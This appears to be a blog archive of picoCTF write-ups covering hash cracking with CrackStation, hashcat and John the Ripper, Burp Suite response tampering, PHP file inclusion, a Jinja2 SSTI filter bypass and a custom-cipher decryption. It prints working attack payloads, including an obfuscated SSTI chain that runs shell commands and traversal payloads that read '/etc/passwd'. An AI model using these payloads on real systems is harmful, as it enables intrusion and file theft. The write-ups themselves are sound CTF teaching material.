Tuesday, July 29, 2025

HashCrack Challenge Writeup

 

HashCrack Challenge Writeup

Challenge Overview

Challenge Name: hashcrack
Difficulty: Beginner/Intermediate
Category: Cryptography

Description:
A company stored a secret message on a server which got breached due to the admin using weakly hashed passwords. Can you gain access to the secret stored within the server?

Initial Analysis

When I first accessed the challenge, I was greeted with:

Welcome!! Looking For the Secret?
We have identified a hash: 482c811da5d5b4bc6d497ffa98491e38

The first step in any hash cracking challenge is to identify what type of hash we're dealing with. Looking at this hash:

  • Length: 32 hexadecimal characters
  • Format: All lowercase hex digits (0-9, a-f)
  • Algorithm: MD5 (based on the 32-character length)

Stage 1: Cracking the MD5 Hash

Since the challenge description mentioned "weakly hashed passwords," I knew this was likely a common password that could be found in hash databases.

I used CrackStation.net to look up the hash 482c811da5d5b4bc6d497ffa98491e38.

The result showed that the password was: password123

Enter the password for identified hash: password123
Correct! You've cracked the MD5 hash with no secret found!

Great! One down, but no flag yet.

Stage 2: The SHA-1 Challenge

The challenge then presented me with a second hash:

Flag is yet to be revealed!! Crack this hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3

Hash analysis:

  • Length: 40 hexadecimal characters
  • Algorithm: SHA-1

Again, I used CrackStation.net to crack this hash.

The password was: letmein

Enter the password for the identified hash: letmein
Correct! You've cracked the SHA-1 hash with no secret found!

Still no flag, but we're making progress!

Stage 3: The Final SHA-256 Hash

The final challenge presented:

Almost there!! Crack this hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745

Hash analysis:

  • Length: 64 hexadecimal characters
  • Algorithm: SHA-256

Once more, CrackStation.net came to the rescue.

The password was: qwerty098

Enter the password for the identified hash: qwerty098
Correct! You've cracked the SHA-256 hash with a secret found. 
The flag is: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_36a1cf73}

Success! We found the flag!

Alternative Methods

While I used CrackStation.net for this challenge, there are several other approaches you could take:

Command Line Tools

Hashcat:

# For MD5
hashcat -m 0 -a 0 hash.txt rockyou.txt

# For SHA-1  
hashcat -m 100 -a 0 hash.txt rockyou.txt

# For SHA-256
hashcat -m 1400 -a 0 hash.txt rockyou.txt

John the Ripper:

# For MD5
john --format=raw-md5 hash.txt

# For SHA-1
john --format=raw-sha1 hash.txt

# For SHA-256  
john --format=raw-sha256 hash.txt

Other Online Tools

  • HashKiller.io
  • MD5Decrypt.net
  • OnlineHashCrack.com

Key Learnings

  1. Hash Identification: Understanding hash lengths and formats is crucial:

    • MD5: 32 hex characters
    • SHA-1: 40 hex characters
    • SHA-256: 64 hex characters
  2. Weak Passwords: All three passwords (password123, letmein, qwerty098) were common, weak passwords that appear in most password dictionaries.

  3. Progressive Difficulty: The challenge used increasingly stronger hash algorithms (MD5 → SHA-1 → SHA-256), but all were crackable due to weak password choices.

  4. Multiple Stages: Sometimes CTF challenges require multiple steps before revealing the final flag.

Flag

picoCTF{UseStr0nG_h@shEs_&PaSswDs!_36a1cf73}

Conclusion

This challenge was an excellent introduction to hash identification and cracking. The key takeaway from the flag itself - "UseStr0nG_h@shEs_&PaSswDs!" - emphasizes the importance of using strong hashing algorithms combined with strong passwords. Even SHA-256, while cryptographically secure, becomes vulnerable when paired with weak, dictionary-based passwords.

The challenge effectively demonstrated why organizations should:

  • Use strong, complex passwords
  • Implement proper password policies
  • Use appropriate hashing algorithms with salt
  • Never rely on hash algorithm strength alone if passwords are weak

Wednesday, July 9, 2025

Beating the WebSockFish Chess Bot Using BurpSuite – PicoCTF Writeup

Category: Web 

Tools Used: Burp Suite, Web browser 

Skills Tested: HTTP interception, request tampering, logic bypass, game manipulation 

Difficulty: Medium 


Challenge Overview 

BurpSuite exploit on WebSockFish chess bot PicoCTF challenge


In this web-based challenge, we faced a simple chess interface. The page allowed us to play against an AI opponent. The goal was clear: beat the AI and receive the flag. 

Simple enough, right? 

I thought I could make a few moves, defeat the bot, and grab the flag. 

I was wrong. 

After trying multiple times to outsmart the AI—using aggressive tactics, careful play, and even letting Stockfish suggest moves—the AI refused to lose. There was no winning condition triggered, even when I checkmated the bot decisively. 

 

That’s when I realized this challenge was not about chess skill. It was about intercepting the game logic itself. 

 

Step 1: Observing Game Behavior 

As I played, I observed that every move triggered a request to the server. The board updated dynamically, which made me suspect some sort of backend evaluation occurred after each move. 

I opened Burp Suite, set up the browser through the proxy, and started monitoring the network activity. 

Before long, I found an interesting HTTP request:


```bash

POST /evaluate 

Content-Type: application/json 

Request body: 

```

```json

{

  "fen": "r1bqkbnr/pppp1ppp/2n5/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 2 3",

  "move": "Nf3"

}

``` 

 

The server responded with something like:

 

```json

{

  "eval": -0.34,

  "comment": "Slightly worse for black."

}

``` 

 

Interesting. The eval field clearly showed how the AI viewed the position—negative numbers favored black, while positive numbers favored white. 

 

Step 2: The Key Discovery 

After I "won" the game with a clear checkmate, I intercepted the final move's request again. 

 

The response I received was:

```json

{

  "eval": -20.0,

  "comment": "Black is completely lost."

}

``` 

 

Still, no flag appeared. 

 

That’s when it struck me. 

 

What if the flag logic doesn’t depend on checkmate at all, but rather on the evaluation score returned by the server? 

 

Step 3: Manual Tampering with Burp Suite 

I replayed the final move request using Burp’s Repeater, but this time, I manually changed the server's response in Burp's Intercept tab before the browser could display it. 

 

Here’s what I did: 

 

I intercepted the response. 

 

I changed the eval value from: 

 

```json

"eval": -20.0

``` 

 

to: 

 

```json

"eval": -2200000

``` 

 

This change created an unrealistic, absurd score just to force the game into granting the win condition. 

Then, I forwarded the response. 

Step 4: Winning the Game (And the Flag) 

Immediately after forwarding the modified response, the browser displayed: 

 


 

Boom. 

The flag appeared based entirely on the eval score—not on the actual game state or checkmate. The AI didn’t care about legality or winning moves; it simply trusted the eval value. 

 

Key Takeaways 

Never trust the client. In this case, the server let the frontend decide victory based on a tamperable field. That’s a major security flaw. 

Always inspect requests and responses. Tools like Burp Suite are essential for understanding and manipulating application logic—especially in CTFs where creativity is encouraged. 

Know when logic doesn’t equal logic. Even when it looks like a “beat the game” challenge, sometimes the logic is separate from actual gameplay. 

 

Final Thoughts 

This was a clever and tricky challenge. It appeared to be a game of chess, but it was really a lesson in insecure logic validation and misusing client trust. 

The idea of allowing players to win based on an eval field—something the client could see and modify—was the main vulnerability. It didn’t matter if I was Magnus Carlsen or a complete beginner. With Burp Suite, I was able to beat the AI by lying convincingly enough. 

If you ever face a game-based CTF challenge like this, don’t just focus on winning the game; examine how the win is determined.

Monday, July 7, 2025

PicoCTF On Includes – Exploiting File Inclusion Vulnerabilities

 Introduction 

File inclusion vulnerabilities in CTF competitions often hide flags in files that many overlook. While many participants concentrate on system files like /etc/passwd, the real treasure might be found in web application files such as CSS and JavaScript. This guide highlights a specific CTF challenge pattern where the flag is concealed in /style.css and /script.js files. 

PicoCTF file inclusion vulnerability walkthrough

The Challenge Pattern

Understanding the Setup 

In many CTF web challenges, you will encounter a file inclusion vulnerability where the application includes files based on user input: 

```php 

<?php 

$page = $_GET['page']; 

include($page); 

?> 

``` 

The Hidden Asset Strategy 

While most players immediately try: 

```

?page=../../../etc/passwd 

?page=../../../flag.txt 

?page=config.php 

``` 

The real flag might be hiding in plain sight within the web application's own files. 


Target Files: style.css and script.js 


Why These Files? 

style.css and script.js are ideal hiding spots because: 

- They are real web application files 

- Most attackers skip them, thinking they are harmless 

- They can contain comments with flags 

- They are often readable through file inclusion 

- They do not trigger security filters 

 

Common Locations 

/style.css 

/css/style.css 

/assets/css/style.css 

/static/css/style.css 

./style.css 

 

/script.js 

/js/script.js 

/assets/js/script.js 

/static/js/script.js 

./script.js 

 

Exploitation Techniques 

Direct File Inclusion 

```

?page=style.css 

?page=script.js 

?page=./style.css 

?page=./script.js 

``` 

 

Directory Traversal to Web Root 

```

?page=../style.css 

?page=../script.js 

?page=../../style.css 

?page=../../script.js 

``` 

 

Using PHP Wrappers 

```

?page=php://filter/convert.base64-encode/resource=style.css 

?page=php://filter/convert.base64-encode/resource=script.js 

``` 

This technique is useful when: 

- The files might be processed as PHP 

- You need to see the raw content 

- Special characters are being filtered 

 

Flag Hiding Patterns 

In CSS Comments 

```css 

/* FLAG{css_files_can_hide_secrets} */ 

body { 

    background-color: #f0f0f0; 

    font-family: Arial, sans-serif; 

} 

 

.header { 

    /* Another common spot: FLAG{hidden_in_css_rules} */ 

    background: url('data:image/svg+xml;base64,RkxBR3toaWRkZW5faW5fYmFzZTY0fQ=='); 

} 

``` 

 

In JavaScript Comments 

```javascript 

// FLAG{javascript_comments_are_goldmines} 

function validateForm() { 

    var flag = "FLAG{stored_in_js_variables}"; 

    // TODO: Remove this flag before production 

    return true; 

} 

 

/* 

Multi-line comment with flag: 

FLAG{multiline_comments_work_too} 

*/ 

``` 

 

Encoded in CSS/JS 

```css 

/* Base64 encoded flag in CSS */ 

.flag::before {  

    content: "RkxBR3tlbmNvZGVkX2luX2Nzc30="; /* FLAG{encoded_in_css} */ 

} 

``` 

```javascript 

// ROT13 encoded flag 

var secret = "SYNT{ebg13_rapbqrq_va_wf}"; // FLAG{rot13_encoded_in_js} 

``` 

 

Systematic Approach 


1. Identify the Include Vulnerability 

   First, confirm you have file inclusion: 

   ```

   ?page=index.php  # Should work 

   ?page=nonexistent.php  # Should error 

   ``` 

2. Check for Web Assets 

   Try the most common web files: 

   ```

   ?page=style.css 

   ?page=script.js 

   ?page=main.css 

   ?page=app.js 

   ``` 

3. Explore Different Paths 

   # Current directory 

   ```

   ?page=./style.css 

   ?page=./script.js 

   ``` 

   # Parent directories 

   ```

   ?page=../style.css 

   ?page=../script.js 

   ``` 

   # Common web directories 

   ```

   ?page=css/style.css 

   ?page=js/script.js 

   ?page=assets/style.css 

   ?page=static/script.js 

   ``` 

4. Use PHP Wrappers if Needed 

```

?page=php://filter/convert.base64-encode/resource=style.css 

?page=php://filter/convert.base64-encode/resource=script.js 

``` 

 

Tools and Techniques 


Manual Testing with curl 

```bash 

# Test direct inclusion 

curl "http://target.com/vuln.php?page=style.css" 

curl "http://target.com/vuln.php?page=script.js" 

 

# Test with different paths 

curl "http://target.com/vuln.php?page=../style.css" 

curl "http://target.com/vuln.php?page=css/style.css" 

``` 

Using Browser Developer Tools 

- Open the challenge page normally 

- Check the Network tab for loaded CSS/JS files 

- Note the file paths 

- Try including those same files through the vulnerability 

 

Burp Suite Integration 

- Send the vulnerable request to Repeater 

- Create a list of common asset filenames 

- Use Burp's Intruder to fuzz the page parameter 

- Look for successful responses with different content 

 

Common File Variations 

CSS Files 

- style.css 

- main.css 

- app.css 

- theme.css 

- custom.css 

- bootstrap.css 

- styles.css 

 

JavaScript Files 

- script.js 

- main.js 

- app.js 

- custom.js 

- jquery.js 

- bootstrap.js 

- scripts.js 

 

Real CTF Example 

Challenge Setup 

```php 

<?php 

$page = $_GET['page'] ?? 'home'; 

include($page . '.php'); 

?> 

``` 

Solution Path 

- Notice the .php extension is automatically added 

- Try: ?page=style.css (becomes style.css.php) 

- Try: ?page=style.css%00 (null byte, older PHP) 

- Try: ?page=../style.css (directory traversal) 

- Success with: ?page=../style.css%00 

 

Flag Location 

```css 

/* /style.css */ 

body { 

    margin: 0; 

    padding: 0; 

    /* FLAG{css_inclusion_ftw} */ 

} 

``` 

 

Pro Tips 

1. Check Both Files 

   Always check both CSS and JS files. Flags might be split between them or one might be a distraction. 

2. Look for Patterns 

```css 

/* Part 1: FLAG{this_is_only_ */ 

/* Part 2: half_of_the_flag} */ 

``` 

3. Decode Everything 

   Look for base64, hex, or other encoded strings in the files. 

4. Check File Timestamps 

   Sometimes the modification time provides hints about which files were changed recently. 

 

Quick Reference 

Essential Payloads 

```

?page=style.css 

?page=script.js 

?page=../style.css 

?page=../script.js 

?page=css/style.css 

?page=js/script.js 

?page=php://filter/convert.base64-encode/resource=style.css 

?page=php://filter/convert.base64-encode/resource=script.js 

``` 

Flag Search Patterns 

- Look for FLAG{ in comments 

- Check for base64 encoded strings 

- Search for unusual CSS properties or JS variables 

- Examine data URIs in CSS 

 

Conclusion 

Don't overlook the obvious. While system files get a lot of attention in file inclusion challenges, web application assets like CSS and JavaScript files can be treasure troves for hidden flags. They are real files that don't trigger security alarms but may hold valuable information. 

The key lesson is to always examine style.css and script.js when you face file inclusion vulnerabilities in CTF challenges. Other participants often miss these files, giving you a competitive edge. 

Remember, in CTF competitions, the simplest solution is often the correct one, and flags tend to hide in plain sight.

Saturday, July 5, 2025

PicoCTF SSTI Challenge Walkthrough – How I Bypassed the Filter

 Introduction

In web security, Server-Side Template Injection (SSTI) vulnerabilities often seem straightforward at first glance. However, when mixed with smart restrictions, they can become a great challenge that tests creativity, obfuscation skills, and a deeper understanding of how template engines like Jinja2 operate. 

This writeup explores the SSTI2 challenge from a recent CTF. This challenge initially appeared to be a standard injection task. It soon turned into a puzzle involving blacklist bypassing, payload encoding, and Python internals. In the end, I successfully ran remote code to access the flag without using a single dot, underscore, or quote. 

 

Initial Discovery




The challenge featured a typical input field. My first thought was to check for basic template injection. I entered: 

``` 

{{7*7}} 

``` 

The application returned: 

``` 

49 

``` 

This confirmed a classic Jinja2 SSTI vulnerability. The server evaluated and rendered my input as Python code within a Jinja2 template. My goal was now clear: escalate this to read the flag, likely stored in a file like flag or /flag.txt. 

 

But then, I faced an unexpected issue. Every traditional SSTI payload failed. 

 

The Unexpected Roadblock: Character Blacklisting  

I tried several common payloads: 

``` 

{{ ''.__class__.__mro__[1].__subclasses__() }} 

{{ config }} 

{{ request.__class__.__mro__ }} 

``` 

None of these worked. Some returned errors while others were rejected by the server. This pattern suggested character-level filtering, particularly targeting: 

- __ (double underscores) 

- . (dot access) 

- [] (list indexing) 

- ' and " (quotes) 

- () (function calls) 

 

The challenge provided a hint with a clever clue: 

“Why is blacklisting characters a bad idea to sanitize input?” 

 

I realized this challenge was not just about exploiting SSTI; it was about overcoming poor sanitization logic. The way forward was through creative obfuscation. 



The Core Strategy: Obfuscation and Attribute Chains

Most template engines, especially Jinja2, provide flexible methods to access object attributes. Even with filters on special characters, Python's dynamic attribute system allows for alternative paths. 

 

Step 1: Use attr() Instead of Dot Notation

In Jinja2, this: 

``` 

{{ request.application }} 

``` 

Can also be written as: 

``` 

{{ request|attr('application') }} 

``` 

If quotes are blocked, we can encode the string: 

``` 

{{ request|attr("\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e") }} 

``` 

This gets us the application object using hex-encoded characters to bypass filters. 

 

Step 2: Access __globals__ to Break Out of the Template

To access global Python objects, we normally use: 

``` 

{{ request.application.__globals__ }} 

``` 

With character restrictions, we now used: 

``` 

{{ request 

   |attr('\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e')

   |attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f') }} 

``` 

This safely retrieves the global namespace, even without directly using __ or . 

 

Step 3: Use __builtins__ and __import__ to Access os

Now, with access to the global scope, I retrieved Python built-ins like this: 

``` 

|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f') 

``` 

From there, I accessed Python's dynamic import function: 

``` 

|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f')('os') 

``` 

This gave me complete access to the os module—meaning I could run system-level commands like ls, cat, or whoami. 

 

The Final Payload: Read the Flag

Here’s the complete, working payload I crafted: 

``` 

{{

  request

  |attr('\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e')

  |attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')

  |attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')

  |attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f')('os')

  |attr('popen')('cat flag')

  |attr('read')()

}} 

``` 

This chain: 

- Accesses the Flask application's global variables 

- Grabs Python's built-in functions 

- Dynamically imports the os module 

- Executes cat flag via os.popen() 

- Reads and prints the flag using read() 

 

The Flag


Victory!!!!


Key Takeaways


Blacklisting individual characters is an insecure and unreliable way to sanitize input.

Python and Jinja2 both possess intense introspection and dynamic nature, which means that the most robust expressions can be reconstructed even with stringent constraints.

Obfuscation mechanisms such as hex-encoding, attribute chains, and usage of attr() are crucial to bypass weak sanitization logic.

For defensive developers, always use whitelisting, context-sensitive encoding, and sandboxed template environments (like SandboxedEnvironment in Jinja2) to avoid such attacks.


Final Thoughts

This SSTI2 vulnerability was a nice reminder that even a small security mistake, like character blacklisting, can produce big issues when exploited by someone who has language and engine internals knowledge.

It was not just about achieving RCE; it was about outsmarting the defenses. That’s what makes CTFs so exciting. 

 

Until next time, 

Happy Hacking!

Wednesday, July 2, 2025

Custom Encryption CTF Challenge Walkthrough – Step-by-Step Guide

Custom Encryption Challenge - CTF Writeup

Custom encryption CTF challenge solution breakdown


Challenge Overview

This was an enjoyable crypto challenge that integrated several encryption methods and a single proprietary algorithm. We had a Python script (`custom_encryption.py`) that contained the encryption logic, and an encrypted flag file (`enc_flag`) with the ciphertext we needed to decrypt.


Initial Analysis

When I first reviewed the code, I could see that it wasn't your typical single-layer encryption. The `test()` function was doing something interesting - it was chaining multiple encryption methods together:

1. Some kind of key exchange mechanism (looked like Diffie-Hellman)

2. A custom XOR operation 

3. A multiplication-based cipher

The encrypted flag file gave us these values:

a = 94

b = 21

cipher is: [131553, 993956, 964722, 1359381, 43851, 1169360, 950105, 321574, 1081658, 613914, 0, 1213211, 306957, 73085, 993956, 0, 321574, 1257062, 14617, 906254, 350808, 394659, 87702, 87702, 248489, 87702, 380042, 745467, 467744, 716233, 380042, 102319, 175404, 248489]


Breaking Down the Encryption

Step 1: Diffie-Hellman Key Exchange

The code starts with a classic Diffie-Hellman setup:

- p = 97 (prime modulus)

- g = 31 (generator)

- a = 94 and b = 21 (private keys)


The shared key calculation follows the standard DH formula:


u = g^a mod p = 31^94 mod 97

v = g^b mod p = 31^21 mod 97

shared_key = v^a mod p = u^b mod p


This gives us our multiplication key for the final encryption step.


Step 2: Dynamic XOR with String Reversal

The `dynamic_xor_encrypt()` function was particularly tricky. It does two things:

1.Reverses the input string using `plaintext[::-1]`

2. XORs each character with the repeating key "trudeau"

The reversal caught me off guard initially - it's not something you see in typical XOR implementations.


Step 3: Multiplication Cipher

The final `encrypt()` function multiplies each character's ASCII value by (shared_key * 311). The constant 311 seemed arbitrary, but was consistent throughout.

Building the Decryption

To reverse this, I had to work backwards through each step:

Reverse Step 3: Division

def decrypt_multiplication(cipher_list, key):

    plaintext_chars = []

    for value in cipher_list:

        if value == 0:

            plaintext_chars.append(chr(0))  # Handle null chars

        else:

            original_ord = value // (key * 311)

            plaintext_chars.append(chr(original_ord))

    return ''.join(plaintext_chars)


Reverse Step 2: XOR and Un-reverse

def dynamic_xor_decrypt(cipher_text, text_key):

    plaintext = ""

    key_length = len(text_key)

    

    # XOR is its own inverse

    for i, char in enumerate(cipher_text):

        key_char = text_key[i % key_length]

        decrypted_char = chr(ord(char) ^ ord(key_char))

        plaintext += decrypted_char

    

    # Reverse the string back to original order

    return plaintext[::-1]


 Reverse Step 1: Reproduce the Key

I had to calculate the same shared key using the given a and b values:

u = generator(g, a, p)  # 31^94 mod 97

v = generator(g, b, p)  # 31^21 mod 97

shared_key = generator(v, a, p)  # (31^21)^94 mod 97


The Gotchas

A few things that made this challenge interesting:

1. The string reversal in the XOR function - easy to miss if you're just skimming the code

2. Zero handling - some cipher values were 0, representing null characters

3. Order of operations - had to decrypt in exactly the reverse order of encryption

4. The magic number 311 - just had to accept it was part of the algorithm


Solution

Putting it all together, the decryption process:

1. Calculate the Diffie-Hellman shared key using the provided `a=94` and `b=21`

2. Divide each cipher value by `(shared_key * 311)` to get ASCII values

3. Convert back to characters and XOR with trudeau

4. Reverse the resulting string to get the original message


Lessons Learned

This challenge was a great reminder that:

- Read the code carefully - small details like string reversal can trip you up

- Work backwards systematically- don't try to jump straight to the answer

- Test your assumptions - I initially missed the reversal and got garbage output

- Custom crypto is often just known techniques chained together - once you identify the individual pieces, it becomes much more manageable

The combination of Diffie-Hellman, XOR, and simple multiplication created a deceptively complex-looking cipher, but breaking it down step by step made it totally solvable. Pretty clever challenge design!

Python script-

def generator(g, x, p):

    """Generate g^x mod p"""

    return pow(g, x) % p


def decrypt_multiplication(cipher_list, key):

    """Reverse the multiplication encryption: divide each value by (key * 311)"""

    plaintext_chars = []

    for value in cipher_list:

        if value == 0:

            # Handle the case where original char was 0 (null character)

            plaintext_chars.append(chr(0))

        else:

            # Reverse: original_char = cipher_value / (key * 311)

            original_ord = value // (key * 311)

            plaintext_chars.append(chr(original_ord))

    return ''.join(plaintext_chars)


def dynamic_xor_decrypt(cipher_text, text_key):

    """Reverse the dynamic XOR encryption"""

    # The original function reversed the plaintext, so we need to account for that

    plaintext = ""

    key_length = len(text_key)

    

    # XOR decryption (XOR is its own inverse)

    for i, char in enumerate(cipher_text):

        key_char = text_key[i % key_length]

        decrypted_char = chr(ord(char) ^ ord(key_char))

        plaintext += decrypted_char

    

    # Reverse the string back to original order (since original was reversed)

    return plaintext[::-1]


def decrypt_flag():

    """Decrypt the flag using the provided values"""

    # Given values from enc_flag

    a = 94

    b = 21

    cipher = [131553, 993956, 964722, 1359381, 43851, 1169360, 950105, 321574, 1081658, 613914, 0, 1213211, 306957, 73085, 993956, 0, 321574, 1257062, 14617, 906254, 350808, 394659, 87702, 87702, 248489, 87702, 380042, 745467, 467744, 716233, 380042, 102319, 175404, 248489]

    

    # Constants from the original code

    p = 97

    g = 31

    text_key = "trudeau"

    

    # Reproduce the Diffie-Hellman key exchange

    u = generator(g, a, p)  # g^a mod p

    v = generator(g, b, p)  # g^b mod p

    

    # Calculate shared key

    shared_key = generator(v, a, p)  # (g^b)^a mod p = g^(ab) mod p

    # Verify: generator(u, b, p) should give the same result

    

    print(f"u = {u}")

    print(f"v = {v}")

    print(f"shared_key = {shared_key}")

    

    # Step 1: Reverse multiplication encryption

    semi_cipher_chars = decrypt_multiplication(cipher, shared_key)

    print(f"After reversing multiplication: {repr(semi_cipher_chars)}")

    

    # Step 2: Reverse dynamic XOR encryption

    original_message = dynamic_xor_decrypt(semi_cipher_chars, text_key)

    print(f"Decrypted message: {original_message}")

    

    return original_message


# Let's test the decryption

flag = decrypt_flag()

print(f"\nFinal flag: {flag}")


Final Flag-picoCTF{custom_d2cr0pt6d_8b41f976}


Final Thoughts

My favorite thing about this challenge was that it combined a number of cryptographic principles without becoming too complex. It was a matter of solving a puzzle where each piece had to fit with the others perfectly. The code was tidy enough to make sense, but intelligent enough to keep you guessing.

If you're facing similar challenges, my suggestion is to always step through the encryption process in detail, then construct your decryption by reversing each operation. And be sure to watch out for those subtle string manipulations!

HashCrack Challenge Writeup

  HashCrack Challenge Writeup Challenge Overview Challenge Name: hashcrack Difficulty: Beginner/Intermediate Category: Cryptography ...